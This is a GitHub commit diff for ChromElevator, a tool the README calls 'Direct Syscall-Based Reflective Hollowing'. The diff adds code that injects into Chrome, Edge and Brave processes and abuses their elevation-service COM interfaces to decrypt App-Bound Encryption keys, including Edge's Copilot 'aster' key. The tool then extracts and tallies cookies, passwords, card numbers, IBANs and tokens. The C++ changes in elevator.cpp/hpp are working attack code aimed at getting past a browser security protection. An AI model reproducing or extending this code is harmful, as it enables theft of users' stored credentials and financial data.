Skip to content

Commit a0c7d47

Browse files
committed
v0.18.1
1 parent f54aa0c commit a0c7d47

15 files changed

+2382
-94
lines changed

CHANGELOG.md

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,15 +2,31 @@
22

33
## 🆕 Changelog
44

5+
### v0.18.1
6+
7+
* **Edge Copilot/Aster Key Extraction**: Added extraction and display of Edge's secondary App-Bound Encryption key (`aster_app_bound_encrypted_key`).
8+
* This key is used by Edge for encrypting imported passwords and Copilot-related data when server-side feature flags are enabled.
9+
* Extracted via `IElevator` interface and displayed as `ASTER_KEY:` in IPC output alongside the primary key.
10+
11+
* **Brave IElevator2 Support**: Brave now uses Chrome's `IElevator2Chrome` interface for forward compatibility.
12+
* Brave's elevation service exposes Chrome's `IElevator2Chrome` IID: `{1BF5208B-295F-4992-B5F4-3A9BB6494838}`
13+
* Same vtable layout as Chrome (DecryptData at offset 40).
14+
15+
* **Edge IElevator2 Support**: Added Microsoft Edge's `IElevator2` interface for forward compatibility (Edge 144+).
16+
* New IID: `{8F7B6792-784D-4047-845D-1782EFBEF205}`
17+
* Edge now follows the same IElevator2 → IElevator fallback pattern as Chrome/Brave.
18+
* Note: Edge's interface chain differs (includes `IElevatorEdgeBase`), with DecryptData at offset 64 vs 40 for Chrome/Brave.
19+
20+
* **Unicode Console Output**: Enhanced console formatting with UTF-8 box-drawing characters for cleaner visual hierarchy.
21+
522
### v0.18.0
623

724
* **IElevator2 Interface Support**: Added forward-compatible support for Chrome's new `IElevator2` COM interface ([chromium/chromium@4962049](https://github.com/chromium/chromium/commit/49620496b8f0b7c0c63e2666a82e01180df3f4c3)).
825
* Chrome 144+ introduces `IElevator2` as a replacement for the legacy `IElevator` interface used in App-Bound Encryption.
926
* ChromElevator now attempts `IElevator2` first (when available), with automatic fallback to `IElevator` for older Chrome versions.
1027
* This ensures continued operation across Chrome 143 (legacy), Chrome 144+ (transition period), and future versions (when `IElevator` is removed).
1128
* New Chrome IElevator2 IID: `{1BF5208B-295F-4992-B5F4-3A9BB6494838}`
12-
* Brave Browser support is prepared with placeholder for their upcoming `IElevator2` adoption.
13-
* Edge remains unchanged (uses different interface chain).
29+
* Brave Browser reuses Chrome's `IElevator2Chrome` IID for compatibility.
1430

1531
* **Chrome Beta Channel Support**: Added Chrome Beta as a separate browser target.
1632
* Use `--target chrome-beta` or include in `all` scan.

README.md

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -63,12 +63,12 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
6363

6464
| Browser | Tested Version (x64 & ARM64) |
6565
| ----------------------- | ---------------------------- |
66-
| **Google Chrome** | 143.0.7499.193 |
67-
| **Google Chrome Beta** | 144.0.7559.59 |
68-
| **Brave** | 1.85.120 (143.0.7499.192) |
69-
| **Microsoft Edge** | 144.0.3719.67 |
66+
| **Google Chrome** | 144.0.7559.97 |
67+
| **Google Chrome Beta** | 145.0.7632.18 |
68+
| **Brave** | 1.86.142 (144.0.7559.97) |
69+
| **Microsoft Edge** | 144.0.3719.92 |
7070

71-
> **Note:** Chrome 144 introduces the new `IElevator2` COM interface. This tool automatically uses `IElevator2` when available and falls back to `IElevator` for Chrome 143 and earlier.
71+
> **Note:** Chrome/Brave/Edge 144+ use the new `IElevator2` COM interface. This tool automatically uses `IElevator2` when available and falls back to `IElevator` for older versions.
7272
7373
## 🔍 Feature Support Matrix
7474

@@ -152,7 +152,7 @@ _________ .__ ___________.__ __
152152
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
153153
\/ \/ \/ \/ \/ \/
154154
Direct Syscall-Based Reflective Hollowing
155-
x64 & ARM64 | v0.18.0 by @xaitax
155+
x64 & ARM64 | v0.18.1 by @xaitax
156156

157157
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|all>
158158

@@ -195,7 +195,7 @@ _________ .__ ___________.__ __
195195
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
196196
\/ \/ \/ \/ \/ \/
197197
Direct Syscall-Based Reflective Hollowing
198-
x64 & ARM64 | v0.18.0 by @xaitax
198+
x64 & ARM64 | v0.18.1 by @xaitax
199199
200200
┌──── Brave (143.1.85.120) ──────────────────────
201201
@@ -270,7 +270,7 @@ _________ .__ ___________.__ __
270270
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
271271
\/ \/ \/ \/ \/ \/
272272
Direct Syscall-Based Reflective Hollowing
273-
x64 & ARM64 | v0.18.0 by @xaitax
273+
x64 & ARM64 | v0.18.1 by @xaitax
274274
275275
┌──── Chrome (143.0.7499.193) ───────────────────
276276
│ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe

src/com/elevator.cpp

Lines changed: 70 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -45,14 +45,29 @@ namespace Com
4545

4646
if (isEdge)
4747
{
48-
// Edge uses a different interface chain - no v2 support needed
49-
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
50-
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);
51-
if (SUCCEEDED(hr))
48+
// Edge uses a different interface chain with IElevatorEdgeBase
49+
if (iid_v2.has_value())
5250
{
53-
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
54-
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
55-
hr = elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);
51+
Microsoft::WRL::ComPtr<IEdgeElevator2Final> elevator2;
52+
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid_v2.value(), &elevator2);
53+
if (SUCCEEDED(hr))
54+
{
55+
CoSetProxyBlanket(elevator2.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
56+
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
57+
hr = elevator2->DecryptData(bstrEnc, &bstrPlain, &comErr);
58+
}
59+
}
60+
61+
if (!iid_v2.has_value() || hr == E_NOINTERFACE || FAILED(hr))
62+
{
63+
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
64+
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);
65+
if (SUCCEEDED(hr))
66+
{
67+
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
68+
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
69+
hr = elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);
70+
}
5671
}
5772
}
5873
else
@@ -97,4 +112,52 @@ namespace Com
97112
return result;
98113
}
99114

115+
std::vector<uint8_t> Elevator::DecryptKeyEdgeIID(
116+
const std::vector<uint8_t> &encryptedKey,
117+
const CLSID &clsid,
118+
const IID &iid)
119+
{
120+
BSTR bstrEnc = SysAllocStringByteLen(reinterpret_cast<const char *>(encryptedKey.data()), (UINT)encryptedKey.size());
121+
if (!bstrEnc)
122+
throw std::runtime_error("SysAllocStringByteLen failed");
123+
124+
struct BstrDeleter
125+
{
126+
void operator()(BSTR b) { SysFreeString(b); }
127+
};
128+
std::unique_ptr<OLECHAR[], BstrDeleter> encGuard(bstrEnc);
129+
130+
BSTR bstrPlain = nullptr;
131+
DWORD comErr = 0;
132+
HRESULT hr = E_FAIL;
133+
134+
// Use Edge interface chain with specified IID
135+
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
136+
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);
137+
138+
if (SUCCEEDED(hr))
139+
{
140+
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
141+
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
142+
hr = elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);
143+
}
144+
145+
if (FAILED(hr))
146+
{
147+
std::ostringstream oss;
148+
oss << "DecryptData failed: 0x" << std::hex << hr << " (COM err: " << std::dec << comErr << ")";
149+
throw std::runtime_error(oss.str());
150+
}
151+
152+
if (!bstrPlain)
153+
throw std::runtime_error("Decrypted key is null");
154+
155+
std::unique_ptr<OLECHAR[], BstrDeleter> plainGuard(bstrPlain);
156+
UINT len = SysStringByteLen(bstrPlain);
157+
158+
std::vector<uint8_t> result(len);
159+
memcpy(result.data(), bstrPlain, len);
160+
return result;
161+
}
162+
100163
}

src/com/elevator.hpp

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,17 @@ namespace Com {
4646
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
4747
IEdgeElevatorFinal : public IEdgeIntermediateElevator{};
4848

49+
MIDL_INTERFACE("8F7B6792-784D-4047-845D-1782EFBEF205")
50+
IEdgeElevator2Final : public IEdgeIntermediateElevator {
51+
public:
52+
virtual HRESULT STDMETHODCALLTYPE RunIsolatedChrome(const WCHAR*, const WCHAR*, DWORD*, ULONG_PTR*) = 0;
53+
virtual HRESULT STDMETHODCALLTYPE AcceptInvitation(const WCHAR*) = 0;
54+
};
55+
56+
// Copilot-specific interface (same methods, different IID for path validation)
57+
MIDL_INTERFACE("17DF149F-BE61-447E-A305-522F55021B36")
58+
IEdgeCopilotElevator : public IEdgeIntermediateElevator{};
59+
4960
class Elevator {
5061
public:
5162
Elevator();
@@ -58,6 +69,12 @@ namespace Com {
5869
const std::optional<IID>& iid_v2,
5970
bool isEdge);
6071

72+
// Decrypt using specific Edge IID (for testing Copilot vs Edge)
73+
std::vector<uint8_t> DecryptKeyEdgeIID(
74+
const std::vector<uint8_t>& encryptedKey,
75+
const CLSID& clsid,
76+
const IID& iid);
77+
6178
private:
6279
bool m_initialized;
6380
};

src/core/console.hpp

Lines changed: 40 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ namespace Core {
1919
CONSOLE_SCREEN_BUFFER_INFO csbi;
2020
GetConsoleScreenBufferInfo(m_hConsole, &csbi);
2121
m_origAttrs = csbi.wAttributes;
22+
SetConsoleOutputCP(CP_UTF8);
2223
}
2324

2425
~Console() {
@@ -43,7 +44,7 @@ namespace Core {
4344
void Debug(const std::string& msg) const {
4445
if (m_verbose) {
4546
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
46-
std::cout << " \xB3 ";
47+
std::cout << " ";
4748
SetConsoleTextAttribute(m_hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
4849
std::cout << msg << std::endl;
4950
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
@@ -54,7 +55,7 @@ namespace Core {
5455
void BrowserHeader(const std::string& name, const std::string& version = "") const {
5556
std::cout << std::endl;
5657
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
57-
std::cout << " \xDA\xC4\xC4\xC4\xC4 ";
58+
std::cout << " ┌──── ";
5859
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
5960
std::cout << name;
6061

@@ -73,19 +74,44 @@ namespace Core {
7374
const size_t totalWidth = 50;
7475
const size_t prefixLen = 7; // " ┌──── "
7576
size_t dashCount = (totalWidth > prefixLen + contentLen + 1) ? (totalWidth - prefixLen - contentLen - 1) : 4;
76-
std::cout << " " << std::string(dashCount, '\xC4') << std::endl;
77+
std::cout << " ";
78+
for (size_t i = 0; i < dashCount; ++i) std::cout << "";
79+
std::cout << std::endl;
7780
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
7881
}
7982

80-
// AES Key display
83+
// No ABE warning (within browser box)
84+
void NoAbeWarning(const std::string& msg) const {
85+
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
86+
std::cout << "";
87+
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
88+
std::cout << msg << std::endl;
89+
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
90+
}
91+
92+
// ABE Key display
8193
void KeyDecrypted(const std::string& keyHex) const {
8294
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
83-
std::cout << " \xB3" << std::endl;
84-
std::cout << " \xB3 ";
95+
std::cout << " " << std::endl;
96+
std::cout << " ";
8597
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
86-
std::cout << "Decryption Key" << std::endl;
98+
std::cout << "App-Bound Encryption Key" << std::endl;
99+
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
100+
std::cout << "";
101+
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
102+
std::cout << keyHex << std::endl;
103+
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
104+
}
105+
106+
// Copilot ABE Key display (Edge only)
107+
void AsterKeyDecrypted(const std::string& keyHex) const {
108+
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
109+
std::cout << "" << std::endl;
110+
std::cout << "";
111+
SetConsoleTextAttribute(m_hConsole, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
112+
std::cout << "Copilot App-Bound Encryption Key" << std::endl;
87113
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
88-
std::cout << " \xB3 ";
114+
std::cout << " ";
89115
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
90116
std::cout << keyHex << std::endl;
91117
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
@@ -94,8 +120,8 @@ namespace Core {
94120
// Profile section header
95121
void ProfileHeader(const std::string& name) const {
96122
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
97-
std::cout << " \xB3" << std::endl;
98-
std::cout << " \xC3\xC4\xC4 ";
123+
std::cout << " " << std::endl;
124+
std::cout << " ├── ";
99125
SetConsoleTextAttribute(m_hConsole, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
100126
std::cout << name << std::endl;
101127
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
@@ -105,7 +131,7 @@ namespace Core {
105131
void DataRow(const std::string& key, const std::string& value) const {
106132
if (m_verbose) {
107133
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
108-
std::cout << " \xB3 ";
134+
std::cout << " ";
109135
std::cout << std::left << std::setw(12) << key;
110136
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
111137
std::cout << value << std::endl;
@@ -116,7 +142,7 @@ namespace Core {
116142
// Extraction result (always shown)
117143
void ExtractionResult(const std::string& type, int count, int total = -1) const {
118144
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
119-
std::cout << " \xB3 ";
145+
std::cout << " ";
120146
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
121147
std::cout << std::left << std::setw(12) << type;
122148
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
@@ -132,8 +158,8 @@ namespace Core {
132158
// Summary line
133159
void Summary(int cookies, int passwords, int cards, int ibans, int tokens, int profiles, const std::string& outputPath) const {
134160
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
135-
std::cout << " \xB3" << std::endl;
136-
std::cout << " \xC0\xC4\xC4 ";
161+
std::cout << " " << std::endl;
162+
std::cout << " └── ";
137163
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
138164

139165
std::vector<std::string> parts;

src/core/version.hpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@
66
namespace Core {
77

88
// Main version string - shown in banner
9-
constexpr const char* VERSION = "0.18.0";
9+
constexpr const char* VERSION = "0.18.1";
1010

1111
// Full version for build identification (update for releases)
12-
constexpr const char* BUILD_TAG = "v0.18.0";
12+
constexpr const char* BUILD_TAG = "v0.18.1";
1313

1414
}

src/injector/injector_main.cpp

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ using namespace Injector;
1616
struct GlobalStats {
1717
int successful = 0;
1818
int failed = 0;
19+
int skipped = 0;
1920
};
2021

2122
void ProcessBrowser(const BrowserInfo& browser, bool verbose, bool fingerprint, bool killFirst,
@@ -66,7 +67,10 @@ void ProcessBrowser(const BrowserInfo& browser, bool verbose, bool fingerprint,
6667
pipe.ProcessMessages(verbose);
6768

6869
auto pStats = pipe.GetStats();
69-
if (pStats.cookies > 0 || pStats.passwords > 0 || pStats.cards > 0 || pStats.ibans > 0 || pStats.tokens > 0) {
70+
if (pStats.noAbe) {
71+
// ABE not enabled - not a failure, just skip
72+
stats.skipped++;
73+
} else if (pStats.cookies > 0 || pStats.passwords > 0 || pStats.cards > 0 || pStats.ibans > 0 || pStats.tokens > 0) {
7074
console.Summary(pStats.cookies, pStats.passwords, pStats.cards, pStats.ibans, pStats.tokens,
7175
pStats.profiles, (output / browser.displayName).string());
7276
stats.successful++;

src/injector/pipe_server.cpp

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -98,6 +98,13 @@ namespace Injector {
9898
else if (msg.rfind("KEY:", 0) == 0) {
9999
console.KeyDecrypted(msg.substr(4));
100100
}
101+
else if (msg.rfind("NO_ABE:", 0) == 0) {
102+
console.NoAbeWarning(msg.substr(7));
103+
m_stats.noAbe = true;
104+
}
105+
else if (msg.rfind("ASTER_KEY:", 0) == 0) {
106+
console.AsterKeyDecrypted(msg.substr(10));
107+
}
101108
else if (msg.rfind("COOKIES:", 0) == 0) {
102109
size_t sep = msg.find(':', 8);
103110
if (sep != std::string::npos) {

src/injector/pipe_server.hpp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ namespace Injector {
1818
int ibans = 0;
1919
int tokens = 0;
2020
int profiles = 0;
21+
bool noAbe = false;
2122
};
2223

2324
class PipeServer {

0 commit comments

Comments
 (0)